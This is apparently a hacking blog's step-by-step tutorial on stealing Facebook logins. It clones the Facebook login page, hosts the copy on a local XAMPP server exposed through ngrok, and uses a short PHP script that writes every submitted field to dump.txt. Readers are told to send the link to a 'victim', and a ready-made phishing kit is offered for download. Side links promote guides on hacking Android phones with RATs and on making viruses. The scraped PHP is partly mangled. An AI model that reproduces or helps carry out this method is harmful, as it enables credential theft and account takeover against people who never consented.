how to hack facebook

How To Hack Facebook Account Using Phishing | Best Hacking Method

How to hack facebook :- There are numerous ways of hacking into a Facebook account but phishing and keylogging worked best for me. In this tutorial, we will learn how to hack facebook account using phishing method.

How to hack facebook, isn’t this the question everybody asking these days. So, its time to answer it.

Keylogging refers to recording every keyboard keystroke from the victim’s phone or system. So that, when the victim enters password or emails, you can easily get them.

While phishing refers to creating the same webpage which looks like facebook login page, hosting that fake page on our server and sending the link to victim.

So, when the victim opens the link they will see facebook page and when they log in on that fake page, we will get their email and password.

Learn How To Hack Android Phone Using Kali Linux

We will use phishing method to harvest user credentials of victim by creating facebook phishing page and hosting it on our own web server with xampp and ngrok.

Follow these simple steps.

How To Hack Facebook Account Using Phishing

Step 1- Download and install xampp from below and link.

Download Xampp

Step 2- Now go to and create a new account by clicking on signup button.

Step 3-Sign in. You will see dashboard after signing in using your account, download ngrok from here and copy the auth token.

download ngrok

ngrok authtoken

Learn to Setup Your Own Ethical Hacking LAB

Step 4-After downloading, go to download folder, extract the zip file you have downloaded using 7zip or winrar software utilities.

See also  The Power of Virtual Numbers to Receive SMS and Managing Your Online Accounts

Step 5- Go to the extracted folder, you will see ngrok.exe file. We need to configure our authtoken using command prompt. In the same folder where this ngrok.exe file located, press shift + right click from mouse.

You will see options like view, sort etc. You need to click on Open Command Window Here button to open command prompt in that folder.

Type below code in command prompt and replace <paste_your_token_here> here with the auth token you copied from ngrok site and hit enter button.

ngrok authtoken <paste_your_token_here>

It will show you a notice that Authtoken saved to configuration file.

authtoken saved

Learn How To Hack Windows 7/8/10 Using An Excel File

Step 6- After finishing this four-step setup, we need to make create phishing page of facebook. So, go to, press CTRL+S and enter index in Filename : field, and click on save button.

Step 7- Go to the folder where you saved this webspage. You will one folder name index_files and one file name index with html format. Open index.html file using notepad. You will see HTML code. Press CTRL+F, enter action= in find field and press enter.

You will see code line like this.


Now, delete everything which is in “ “(Doublequotes) after action= and enter login.php. Now that code will look like this after editing.


html code

Press CTRL+S and save it.

How To Make A Virus Using Notepad

Step 8- Open notepad in same folder, copy below code and paste it in notepad.


header (‘Location:’);

$handle = fopen(“dump.txt”, “a”);

See also  8 Famous Password Hacking Techniques Used By Hackers

foreach($_POST as $variable => $value) {

   fwrite($handle, $variable);

   fwrite($handle, “=”);

   fwrite($handle, $value);

   fwrite($handle, “\r\n”);


fwrite($handle, “\r\n”);




Now, click on File > Save As.

In  Filename:, enter login.php

In Save As Type, select All Files option and finally click on save file.

save as login

Now, Open notepad again and save a blank notepad file as dump.txt.

How To Hack Android Phone Using Spynote RAT

Step 9- Now go to index_files folder, and delete all files with format or delete all files having type DOWNLOAD File.

Step 10- Now you have a folder named index_files and three files named index.html, login.php and dump.txt. Copy these two files and one folder.

Step 11- Go to C:\xampp\htdocs.

Delete index.html and index.php file in this folder.

Paste those three files index.html, login.php, dump.txt and one folder index_files (that you copied in last step) here in C:\xampp\htdocs folder.

Step 12- Now all we need to start our web server. So, follow these simple steps below.

Open xampp software that we installed in first step and click on Start button of Apache.

start xampp

Go to ngrok folder, open command prompt using Shift + Mouse Right Click and clicking on open command window here.

Enter this command and press enter.

./ngrok http 80

It will start webserver and give you a link to access it from anywhere. Your link will look like this.

link ngrok

Download Best Wi-Fi Hacking Apps For Android

You need to share this link with your victim. When the click on this link, they will see fake face book login page and when they their email or password and click on login button, you will get their email id and password in dump.txt file.

See also  How To Port Forward Without Router In Windows and Kali Linux

So, that’s how to hack facebook account using phishing method. We will explain other methods on website. So keep visiting.

If you don’t want to make your own phishing files, you can download phishing page and its all content and paste it in htdocs folder. Rest of process is same.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top